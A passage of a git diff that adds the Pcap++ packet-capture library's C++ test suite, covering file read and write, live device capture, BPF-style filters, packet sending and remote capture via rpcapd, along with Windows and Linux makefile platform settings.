writerStatistics; + + readerDev.getStatistics(readerStatistics); + PCAPP_ASSERT(readerStatistics.ps_recv == 4631, "Incorrect number of packets read from file. Expected: 4631; read: %d", readerStatistics.ps_recv); + PCAPP_ASSERT(readerStatistics.ps_drop == 0, "Packets were not read properly from file. Number of packets dropped: %d", readerStatistics.ps_drop); + + writerDev.getStatistics(writerStatistics); + PCAPP_ASSERT(writerStatistics.ps_recv == 4631, "Incorrect number of packets written to file. Expected: 4631; read: %d", writerStatistics.ps_recv); + PCAPP_ASSERT(writerStatistics.ps_drop == 0, "Packets were not written properly to file. Number of packets dropped: %d", writerStatistics.ps_drop); + + PCAPP_ASSERT(ethCount == 4631, "Incorrect number of Ethernet packets read. Expected: 4631; read: %d", ethCount); + PCAPP_ASSERT(ipCount == 4631, "Incorrect number of IPv4 packets read. Expected: 4631; read: %d", ipCount); + PCAPP_ASSERT(tcpCount == 4492, "Incorrect number of IPv4 packets read. Expected: 4492; read: %d", tcpCount); + PCAPP_ASSERT(udpCount == 139, "Incorrect number of IPv4 packets read. Expected: 139; read: %d", udpCount); + + readerDev.close(); + writerDev.close(); + + PCAPP_TEST_PASSED; +} + +PCAPP_TEST(TestPcapLiveDeviceList) +{ + vector devList = PcapLiveDeviceList::getPcapLiveDevicesList(); + PCAPP_ASSERT(!devList.empty(), "Device list is empty"); + + for(vector::iterator iter = devList.begin(); iter != devList.end(); iter++) + { + PCAPP_ASSERT(!((*iter)->getName() == NULL), "Device name is NULL"); + } + + PCAPP_TEST_PASSED; +} + +PCAPP_TEST(TestPcapLiveDeviceListSearch) +{ + PcapLiveDevice* liveDev = NULL; + liveDev = PcapLiveDeviceList::getPcapLiveDeviceByIp(args.ipToSendReceivePackets.c_str()); + PCAPP_ASSERT(liveDev != NULL, "Device used in this test %s doesn't exist", args.ipToSendReceivePackets.c_str()); + + liveDev = PcapLiveDeviceList::getPcapLiveDeviceByIp("255.255.255.250"); + PCAPP_ASSERT(liveDev == NULL, "Illegal device found with IP=255.255.255.250"); + + PCAPP_TEST_PASSED; +} + +PCAPP_TEST(TestPcapLiveDevice) +{ + PcapLiveDevice* liveDev = NULL; + IPv4Address ipToSearch(args.ipToSendReceivePackets.c_str()); + liveDev = PcapLiveDeviceList::getPcapLiveDeviceByIp(ipToSearch); + PCAPP_ASSERT(liveDev != NULL, "Device used in this test %s doesn't exist", args.ipToSendReceivePackets.c_str()); + PCAPP_ASSERT(liveDev->getMtu() > 0, "Could not get live device MTU"); + PCAPP_ASSERT(liveDev->open(), "Cannot open live device"); + int packetCount = 0; + int numOfTimeStatsWereInvoked = 0; + PCAPP_ASSERT(liveDev->startCapture(&packetArrives, (void*)&packetCount, 1, &statsUpdate, (void*)&numOfTimeStatsWereInvoked), "Cannot start capture"); + PCAP_SLEEP(20); + liveDev->stopCapture(); + PCAPP_ASSERT(packetCount > 0, "No packets were captured"); + PCAPP_ASSERT(numOfTimeStatsWereInvoked > 18, "Stat callback was called less than expected: %d", numOfTimeStatsWereInvoked); + pcap_stat statistics; + liveDev->getStatistics(statistics); + PCAPP_ASSERT(statistics.ps_drop == 0, "Packets were dropped: %d", statistics.ps_drop); + liveDev->close(); + + PCAPP_TEST_PASSED; +} + +PCAPP_TEST(TestPcapLiveDeviceStatsMode) +{ + PcapLiveDevice* liveDev = PcapLiveDeviceList::getPcapLiveDeviceByIp(args.ipToSendReceivePackets.c_str()); + PCAPP_ASSERT(liveDev != NULL, "Device used in this test %s doesn't exist", args.ipToSendReceivePackets.c_str()); + PCAPP_ASSERT(liveDev->open(), "Cannot open live device"); + int numOfTimeStatsWereInvoked = 0; + PCAPP_ASSERT(liveDev->startCapture(1, &statsUpdate, (void*)&numOfTimeStatsWereInvoked), "Cannot start capture"); + sendURLRequest("www.ebay.com"); + PCAP_SLEEP(5); + liveDev->stopCapture(); + PCAPP_ASSERT(numOfTimeStatsWereInvoked >= 4, "Stat callback was called less than expected: %d", numOfTimeStatsWereInvoked); + pcap_stat statistics; + liveDev->getStatistics(statistics); + PCAPP_ASSERT(statistics.ps_recv > 2, "No packets were captured"); + PCAPP_ASSERT(statistics.ps_drop == 0, "Packets were dropped: %d", statistics.ps_drop); + liveDev->close(); + PCAPP_TEST_PASSED; +} + +PCAPP_TEST(TestWinPcapLiveDevice) +{ +#ifdef WIN32 + PcapLiveDevice* liveDev = PcapLiveDeviceList::getPcapLiveDeviceByIp(args.ipToSendReceivePackets.c_str()); + PCAPP_ASSERT(liveDev != NULL, "Device used in this test %s doesn't exist", args.ipToSendReceivePackets.c_str()); + PCAPP_ASSERT(liveDev->getDeviceType() == PcapLiveDevice::WinPcapDevice, "Live device is not of type LibPcapDevice"); + + WinPcapLiveDevice* pWinPcapLiveDevice = static_cast(liveDev); + int defaultDataToCopy = pWinPcapLiveDevice->getMinAmountOfDataToCopyFromKernelToApplication(); + PCAPP_ASSERT(defaultDataToCopy == 16000, "Data to copy isn't at its default size (16000)"); + PCAPP_ASSERT(pWinPcapLiveDevice->open(), "Cannot open live device"); + PCAPP_ASSERT(pWinPcapLiveDevice->setMinAmountOfDataToCopyFromKernelToApplication(100000), "Set data to copy to 100000 failed. Error string: %s", args.errString); + int packetCount = 0; + int numOfTimeStatsWereInvoked = 0; + PCAPP_ASSERT(pWinPcapLiveDevice->startCapture(&packetArrives, (void*)&packetCount, 1, &statsUpdate, (void*)&numOfTimeStatsWereInvoked), "Cannot start capture"); + for (int i = 0; i < 5; i++) + sendURLRequest("www.ebay.com"); + pcap_stat statistics; + pWinPcapLiveDevice->getStatistics(statistics); + PCAPP_ASSERT(statistics.ps_recv > 20, "No packets were captured"); + PCAPP_ASSERT(statistics.ps_drop == 0, "Packets were dropped: %d", statistics.ps_drop); + pWinPcapLiveDevice->stopCapture(); + PCAPP_ASSERT(pWinPcapLiveDevice->setMinAmountOfDataToCopyFromKernelToApplication(defaultDataToCopy), "Could not set data to copy back to default value. Error string: %s", args.errString); + pWinPcapLiveDevice->close(); +#else + PcapLiveDevice* liveDev = PcapLiveDeviceList::getPcapLiveDeviceByIp(args.ipToSendReceivePackets.c_str()); + PCAPP_ASSERT(liveDev->getDeviceType() == PcapLiveDevice::LibPcapDevice, "Live device is not of type LibPcapDevice"); +#endif + + PCAPP_TEST_PASSED; +} + +PCAPP_TEST(TestPcapFilters) +{ + PcapLiveDevice* liveDev = NULL; + IPv4Address ipToSearch(args.ipToSendReceivePackets.c_str()); + liveDev = PcapLiveDeviceList::getPcapLiveDeviceByIp(ipToSearch); + PCAPP_ASSERT(liveDev != NULL, "Device used in this test %s doesn't exist", args.ipToSendReceivePackets.c_str()); + + string filterAsString; + PCAPP_ASSERT(liveDev->open(), "Cannot open live device"); + vector capturedPackets; + + //--------- + //IP filter + //--------- + string filterAddrAsString(args.ipToSendReceivePackets); + IPFilter ipFilter(filterAddrAsString, DST); + ipFilter.parseToString(filterAsString); + PCAPP_ASSERT(liveDev->setFilter(ipFilter), "Could not set filter: %s", filterAsString.c_str()); + PCAPP_ASSERT(liveDev->startCapture(&capturedPackets), "Cannot start capture for filter '%s'", filterAsString.c_str()); + PCAPP_ASSERT(sendURLRequest("www.google.com"), "Could not send URL request for filter '%s'", filterAsString.c_str()); + //let the capture work for couple of seconds + PCAP_SLEEP(2); + liveDev->stopCapture(); + PCAPP_ASSERT(capturedPackets.size() >= 2, "Captured less than 2 packets (HTTP request and response)"); + + for (vector::iterator iter = capturedPackets.begin(); iter != capturedPackets.end(); iter++) + { + Packet packet(*iter); + PCAPP_ASSERT(packet.isPacketOfType(IPv4), "Filter '%s', Packet captured isn't of type IP", filterAsString.c_str()); + IPv4Layer* ipv4Layer = (IPv4Layer*)packet.getLayerOfType(IPv4); + PCAPP_ASSERT(ipv4Layer->getIPv4Header()->ipDst == ipToSearch.toInt(), "'IP Filter' failed. Packet IP dst is %X, expected %X", ipv4Layer->getIPv4Header()->ipDst, ipToSearch.toInt()); + } + + //--------- + //Port filter + //--------- + uint16_t filterPort = 80; + PortFilter portFilter(filterPort, SRC); + portFilter.parseToString(filterAsString); + PCAPP_ASSERT(liveDev->setFilter(portFilter), "Could not set filter: %s", filterAsString.c_str()); + PCAPP_ASSERT(liveDev->startCapture(&capturedPackets), "Cannot start capture for filter '%s'", filterAsString.c_str()); + PCAPP_ASSERT(sendURLRequest("www.yahoo.com"), "Could not send URL request for filter '%s'", filterAsString.c_str()); + //let the capture work for couple of seconds + PCAP_SLEEP(2); + liveDev->stopCapture(); + PCAPP_ASSERT(capturedPackets.size() >= 2, "Captured less than 2 packets (HTTP request and response)"); + for (vector::iterator iter = capturedPackets.begin(); iter != capturedPackets.end(); iter++) + { + Packet packet(*iter); + PCAPP_ASSERT(packet.isPacketOfType(TCP), "Filter '%s', Packet captured isn't of type TCP", filterAsString.c_str()); + TcpLayer* pTcpLayer = (TcpLayer*)packet.getLayerOfType(TCP); + PCAPP_ASSERT(ntohs(pTcpLayer->getTcpHeader()->portSrc) == 80, "'Port Filter' failed. Packet port src is %d, expected 80", pTcpLayer->getTcpHeader()->portSrc); + } + capturedPackets.clear(); + + //---------------- + //IP & Port filter + //---------------- + std::vector andFilterFilters; + andFilterFilters.push_back(&ipFilter); + andFilterFilters.push_back(&portFilter); + AndFilter andFilter(andFilterFilters); + andFilter.parseToString(filterAsString); + PCAPP_ASSERT(liveDev->setFilter(andFilter), "Could not set filter: %s", filterAsString.c_str()); + PCAPP_ASSERT(liveDev->startCapture(&capturedPackets), "Cannot start capture for filter '%s'", filterAsString.c_str()); + PCAPP_ASSERT(sendURLRequest("www.walla.co.il"), "Could not send URL request for filter '%s'", filterAsString.c_str()); + //let the capture work for couple of seconds + PCAP_SLEEP(2); + liveDev->stopCapture(); + PCAPP_ASSERT(capturedPackets.size() >= 2, "Captured less than 2 packets (HTTP request and response)"); + for (vector::iterator iter = capturedPackets.begin(); iter != capturedPackets.end(); iter++) + { + Packet packet(*iter); + PCAPP_ASSERT(packet.isPacketOfType(TCP), "Filter '%s', Packet captured isn't of type TCP", filterAsString.c_str()); + TcpLayer* pTcpLayer = (TcpLayer*)packet.getLayerOfType(TCP); + IPv4Layer* pIPv4Layer = (IPv4Layer*)packet.getLayerOfType(IPv4); + PCAPP_ASSERT(ntohs(pTcpLayer->getTcpHeader()->portSrc) == 80, "'And Filter' failed. Packet port src is %d, expected 80", pTcpLayer->getTcpHeader()->portSrc); + PCAPP_ASSERT(pIPv4Layer->getIPv4Header()->ipDst == ipToSearch.toInt(), "Filter failed. Packet IP dst is %X, expected %X", pIPv4Layer->getIPv4Header()->ipDst, ipToSearch.toInt()); + } + capturedPackets.clear(); + + //----------------- + //IP || Port filter + //----------------- + std::vector orFilterFilters; + ipFilter.setDirection(SRC); + orFilterFilters.push_back(&ipFilter); + orFilterFilters.push_back(&portFilter); + OrFilter orFilter(orFilterFilters); + orFilter.parseToString(filterAsString); + PCAPP_ASSERT(liveDev->setFilter(orFilter), "Could not set filter: %s", filterAsString.c_str()); + PCAPP_ASSERT(liveDev->startCapture(&capturedPackets), "Cannot start capture for filter '%s'", filterAsString.c_str()); + PCAPP_ASSERT(sendURLRequest("www.youtube.com"), "Could not send URL request for filter '%s'", filterAsString.c_str()); + //let the capture work for couple of seconds + PCAP_SLEEP(2); + liveDev->stopCapture(); + PCAPP_ASSERT(capturedPackets.size() >= 2, "Captured less than 2 packets (HTTP request and response)"); + for (vector::iterator iter = capturedPackets.begin(); iter != capturedPackets.end(); iter++) + { + Packet packet(*iter); + if (packet.isPacketOfType(TCP)) + { + TcpLayer* pTcpLayer = (TcpLayer*)packet.getLayerOfType(TCP); + bool srcPortMatch = ntohs(pTcpLayer->getTcpHeader()->portSrc) == 80; + IPv4Layer* pIPv4Layer = (IPv4Layer*)packet.getLayerOfType(IPv4); + bool srcIpMatch = pIPv4Layer->getIPv4Header()->ipSrc == ipToSearch.toInt(); + PCAPP_ASSERT(srcIpMatch || srcPortMatch, "'Or Filter' failed. Src port is: %d; Src IP is: %X, Expected: port 80 or IP %s", ntohs(pTcpLayer->getTcpHeader()->portSrc), pIPv4Layer->getIPv4Header()->ipSrc, args.ipToSendReceivePackets.c_str()); + } else + if (packet.isPacketOfType(IP)) + { + IPv4Layer* pIPv4Layer = (IPv4Layer*)packet.getLayerOfType(IPv4); + PCAPP_ASSERT(pIPv4Layer->getIPv4Header()->ipSrc == ipToSearch.toInt(), "Filter failed. Packet IP src is %X, expected %X", pIPv4Layer->getIPv4Header()->ipSrc, ipToSearch.toInt()); + } + else + PCAPP_ASSERT(true, "Filter '%s', Packet isn't of type IP or TCP", filterAddrAsString.c_str()); + } + capturedPackets.clear(); + + //---------- + //Not filter + //---------- + NotFilter notFilter(&ipFilter); + notFilter.parseToString(filterAsString); + PCAPP_ASSERT(liveDev->setFilter(notFilter), "Could not set filter: %s", filterAsString.c_str()); + PCAPP_ASSERT(liveDev->startCapture(&capturedPackets), "Cannot start capture for filter '%s'", filterAsString.c_str()); + PCAPP_ASSERT(sendURLRequest("www.ebay.com"), "Could not send URL request for filter '%s'", filterAsString.c_str()); + //let the capture work for couple of seconds + PCAP_SLEEP(2); + liveDev->stopCapture(); + PCAPP_ASSERT(capturedPackets.size() >= 2, "Captured less than 2 packets (HTTP request and response)"); + for (vector::iterator iter = capturedPackets.begin(); iter != capturedPackets.end(); iter++) + { + Packet packet(*iter); + PCAPP_ASSERT(packet.isPacketOfType(IP), "Filter '%s', Packet captured isn't of type IP", filterAsString.c_str()); + if (packet.isPacketOfType(IPv4)) + { + IPv4Layer* ipv4Layer = (IPv4Layer*)packet.getLayerOfType(IPv4); + PCAPP_ASSERT(ipv4Layer->getIPv4Header()->ipSrc != ipToSearch.toInt(), "'Not Filter' failed. Packet IP src is %X, the same as %X", ipv4Layer->getIPv4Header()->ipSrc, ipToSearch.toInt()); + } + } + capturedPackets.clear(); + + liveDev->close(); + PCAPP_TEST_PASSED; +} + +PCAPP_TEST(TestSendPacket) +{ + PcapLiveDevice* liveDev = NULL; + IPv4Address ipToSearch(args.ipToSendReceivePackets.c_str()); + liveDev = PcapLiveDeviceList::getPcapLiveDeviceByIp(ipToSearch); + PCAPP_ASSERT(liveDev != NULL, "Device used in this test %s doesn't exist", args.ipToSendReceivePackets.c_str()); + PCAPP_ASSERT(liveDev->open(), "Cannot open live device"); + + PcapFileReaderDevice fileReaderDev(EXAMPLE_PCAP_PATH); + PCAPP_ASSERT(fileReaderDev.open(), "Cannot open file reader device"); + + PCAPP_ASSERT(liveDev->getMtu() > 0, "Could not get live device MTU"); + uint16_t mtu = liveDev->getMtu(); + int buffLen = mtu+1; + uint8_t buff[buffLen]; + memset(buff, 0, buffLen); + PCAPP_ASSERT(!liveDev->sendPacket(buff, buffLen), "Defected packet was sent successfully"); + + RawPacket rawPacket; + int packetsSent = 0; + int packetsRead = 0; + while(fileReaderDev.getNextPacket(rawPacket)) + { + packetsRead++; + + //send packet as RawPacket + PCAPP_ASSERT(liveDev->sendPacket(rawPacket), "Could not send raw packet"); + + //send packet as raw data + PCAPP_ASSERT(liveDev->sendPacket(rawPacket.getRawData(), rawPacket.getRawDataLen()), "Could not send raw data"); + + //send packet as parsed EthPacekt + Packet packet(&rawPacket); + PCAPP_ASSERT(liveDev->sendPacket(&packet), "Could not send parsed packet"); + + packetsSent++; + } + + PCAPP_ASSERT(packetsRead == packetsSent, "Unexpected number of packets sent. Expected (read from file): %d; Sent: %d", packetsRead, packetsSent); + + liveDev->close(); + fileReaderDev.close(); + + PCAPP_TEST_PASSED; +} + +PCAPP_TEST(TestSendPackets) +{ + PcapLiveDevice* liveDev = NULL; + IPv4Address ipToSearch(args.ipToSendReceivePackets.c_str()); + liveDev = PcapLiveDeviceList::getPcapLiveDeviceByIp(ipToSearch); + PCAPP_ASSERT(liveDev != NULL, "Device used in this test %s doesn't exist", args.ipToSendReceivePackets.c_str()); + PCAPP_ASSERT(liveDev->open(), "Cannot open live device"); + + PcapFileReaderDevice fileReaderDev(EXAMPLE_PCAP_PATH); + PCAPP_ASSERT(fileReaderDev.open(), "Cannot open file reader device"); + + RawPacket rawPacketArr[10000]; + Packet* packetArr[10000]; + int packetsRead = 0; + while(fileReaderDev.getNextPacket(rawPacketArr[packetsRead])) + { + packetArr[packetsRead] = new Packet(&rawPacketArr[packetsRead]); + packetsRead++; + } + + //send packets as RawPacket array + int packetsSentAsRaw = liveDev->sendPackets(rawPacketArr, packetsRead); + + //send packets as parsed EthPacekt array + int packetsSentAsParsed = liveDev->sendPackets(packetArr, packetsRead); + + PCAPP_ASSERT(packetsSentAsRaw == packetsRead, "Not all packets were sent as raw. Expected (read from file): %d; Sent: %d", packetsRead, packetsSentAsRaw); + PCAPP_ASSERT(packetsSentAsParsed == packetsRead, "Not all packets were sent as parsed. Expected (read from file): %d; Sent: %d", packetsRead, packetsSentAsParsed); + +// for (int i = 0; i < packetsRead; i++) +// { +// delete (ethPacketArr[i]); +// } + + liveDev->close(); + fileReaderDev.close(); + + PCAPP_TEST_PASSED; +} + +PCAPP_TEST(TestRemoteCaptue) +{ +#ifdef WIN32 + PcapRemoteDeviceList remoteDevices; + bool useRemoteDevicesFromArgs = (args.remoteIp != "") && (args.remotePort > 0); + string remoteDeviceIP = (useRemoteDevicesFromArgs ? args.remoteIp : args.ipToSendReceivePackets); + uint16_t remoteDevicePort = (useRemoteDevicesFromArgs ? args.remotePort : 12321); + + HANDLE rpcapdHandle = NULL; + if (!useRemoteDevicesFromArgs) + { + rpcapdHandle = activateRpcapdServer(remoteDeviceIP, remoteDevicePort); + PCAPP_ASSERT(rpcapdHandle != NULL, "Could not create rpcapd process. Error was: %lu", GetLastError()); + + } + + PCAPP_ASSERT_AND_RUN_COMMAND(PcapRemoteDeviceList::getRemoteDeviceList(remoteDeviceIP, remoteDevicePort, remoteDevices), terminateRpcapdServer(rpcapdHandle), "Error on retrieving remote devices on IP: %s port: %d. Error string was: %s", remoteDeviceIP.c_str(), remoteDevicePort, args.errString); + PcapRemoteDevice* pRemoteDevice = remoteDevices.getRemoteDeviceByIP(remoteDeviceIP.c_str()); + PCAPP_ASSERT_AND_RUN_COMMAND(pRemoteDevice->open(), terminateRpcapdServer(rpcapdHandle), "Could not open the remote device. Error was: %s", args.errString); + vector capturedPackets; + PCAPP_ASSERT_AND_RUN_COMMAND(pRemoteDevice->startCapture(&capturedPackets), terminateRpcapdServer(rpcapdHandle), "Couldn't start capturing on remote device '%s'. Error was: %s", pRemoteDevice->getName(), args.errString); + + if (!useRemoteDevicesFromArgs) + PCAPP_ASSERT_AND_RUN_COMMAND(sendURLRequest("www.yahoo.com"), terminateRpcapdServer(rpcapdHandle), "Couldn't send URL"); + + PCAP_SLEEP(20); + pRemoteDevice->stopCapture(); + + //send single packet + PCAPP_ASSERT_AND_RUN_COMMAND(pRemoteDevice->sendPacket(*capturedPackets[0]), terminateRpcapdServer(rpcapdHandle), "Couldn't send a packet. Error was: %s", args.errString); + + //send multiple packet + RawPacket rawPacketArr[capturedPackets.size()]; + int packetsToSend = 0; + for (vector::iterator iter = capturedPackets.begin(); iter != capturedPackets.end(); iter++) + { + if ((*iter)->getRawDataLen() <= pRemoteDevice->getMtu()) + { + rawPacketArr[packetsToSend] = **iter; + packetsToSend++; + } + } + int packetsSent = pRemoteDevice->sendPackets(rawPacketArr, packetsToSend); + PCAPP_ASSERT_AND_RUN_COMMAND(packetsSent == packetsToSend, terminateRpcapdServer(rpcapdHandle), "%d packets sent out of %d. Error was: %s", packetsSent, packetsToSend, args.errString); + + //check statistics + pcap_stat stats; + pRemoteDevice->getStatistics(stats); + PCAPP_ASSERT_AND_RUN_COMMAND(stats.ps_recv == capturedPackets.size(), terminateRpcapdServer(rpcapdHandle), + "Statistics returned from rpcapd doesn't equal the captured packets vector size. Stats: %d; Vector size: %d", + stats.ps_recv, capturedPackets.size()); + + pRemoteDevice->close(); + + terminateRpcapdServer(rpcapdHandle); +#endif + + PCAPP_TEST_PASSED; +} + +static struct option PcapTestOptions[] = +{ + {"debug-mode", no_argument, 0, 'd'}, + {"use-ip", required_argument, 0, 'i'}, + {"remote-ip", required_argument, 0, 'r'}, + {"remote-port", required_argument, 0, 'p'}, + {0, 0, 0, 0} +}; + +void print_usage() { + printf("Usage: Pcap++Test -i IP_TO_USE\n\n" + "Flags:\n" + "-i --use-ip IP to use for sending and receiving packets\n" + "-d --debug-mode Set log level to DEBUG\n" + "-r --remote-ip IP of remote machine running rpcapd to test remote capture\n" + "-p --remote-port Port of remote machine running rpcapd to test remote capture\n"); +} + +int main(int argc, char* argv[]) +{ + PcapTestArgs args; + args.ipToSendReceivePackets = ""; + args.debugMode = false; + + int optionIndex = 0; + char opt = 0; + while((opt = getopt_long (argc, argv, "di:r:p:", PcapTestOptions, &optionIndex)) != -1) + { + switch (opt) + { + case 0: + break; + case 'i': + args.ipToSendReceivePackets = optarg; + break; + case 'd': + args.debugMode = true; + break; + case 'r': + args.remoteIp = optarg; + break; + case 'p': + args.remotePort = (uint16_t)atoi(optarg); + break; + default: + print_usage(); + exit(-1); + } + } + + if(args.ipToSendReceivePackets == "") + { + print_usage(); + exit(-1); + } + + if (args.debugMode) + LoggerPP::getInstance().setAllModlesToLogLevel(LoggerPP::Debug); + + printf("Using ip: %s\n", args.ipToSendReceivePackets.c_str()); + printf("Debug mode: %s\n", args.debugMode ? "on" : "off"); + printf("Starting tests...\n"); + + char errString[1000]; + LoggerPP::getInstance().setErrorString(errString, 1000); + args.errString = errString; + + PCAPP_START_RUNNING_TESTS; + + PCAPP_RUN_TEST(TestIPAddress, args); + PCAPP_RUN_TEST(TestMacAddress, args); + PCAPP_RUN_TEST(TestPcapFileReadWrite, args); + PCAPP_RUN_TEST(TestPcapLiveDeviceList, args); + PCAPP_RUN_TEST(TestPcapLiveDeviceListSearch, args); + PCAPP_RUN_TEST(TestPcapLiveDevice, args); + PCAPP_RUN_TEST(TestPcapLiveDeviceStatsMode, args); + PCAPP_RUN_TEST(TestWinPcapLiveDevice, args); + PCAPP_RUN_TEST(TestPcapFilters, args); + PCAPP_RUN_TEST(TestSendPacket, args); + PCAPP_RUN_TEST(TestSendPackets, args); + PCAPP_RUN_TEST(TestRemoteCaptue, args); + + PCAPP_END_RUNNING_TESTS; +} diff --git a/Pcap++Test/rpcapd/rpcapd.exe b/Pcap++Test/rpcapd/rpcapd.exe new file mode 100644 index 0000000000..5d34e4409a Binary files /dev/null and b/Pcap++Test/rpcapd/rpcapd.exe differ diff --git a/mk/platform.mk b/mk/platform.mk new file mode 100644 index 0000000000..ebbc37dcf5 --- /dev/null +++ b/mk/platform.mk @@ -0,0 +1,23 @@ +WIN32 := 1 + +MINGW_HOME := C:/mingw + +MSYS_HOME := $(MINGW_HOME)/msys/1.0 + +WINPCAP_HOME := D:/PrivateFolders/Elad/WpdPack + +export PATH := $(MINGW_HOME)/bin;$(MSYS_HOME)/bin:$(PATH) + +BIN_EXT := .exe + +LIB_PREFIX := + +LIB_EXT := .lib + +G++ := g++.exe + +AR := ar.exe + +RM := rm.exe + +CP := cp.exe \ No newline at end of file diff --git a/mk/platform.mk.linux b/mk/platform.mk.linux new file mode 100644 index 0000000000..e4c539a50f --- /dev/null +++ b/mk/platform.mk.linux @@ -0,0 +1,15 @@ +LINUX := 1 + +BIN_EXT := + +LIB_PREFIX := lib + +LIB_EXT := .a + +G++ := g++ + +AR := ar + +RM := rm + +CP := cp \ No newline at end of file diff --git a/mk/platform.mk.win32 b/mk/platform.mk.win32 new file mode 100644 index 0000000000..ebbc37dcf5 --- /dev/null +++ b/mk/platform.mk.win32 @@ -0,0 +1,23 @@ +WIN32 := 1 + +MINGW_HOME := C:/mingw + +MSYS_HOME := $(MINGW_HOME)/msys/1.0 + +WINPCAP_HOME := D:/PrivateFolders/Elad/WpdPack + +export PATH := $(MINGW_HOME)/bin;$(MSYS_HOME)/bin:$(PATH) + +BIN_EXT := .exe + +LIB_PREFIX := + +LIB_EXT := .lib + +G++ := g++.exe + +AR := ar.exe + +RM := rm.exe + +CP := cp.exe \ No newline at end of file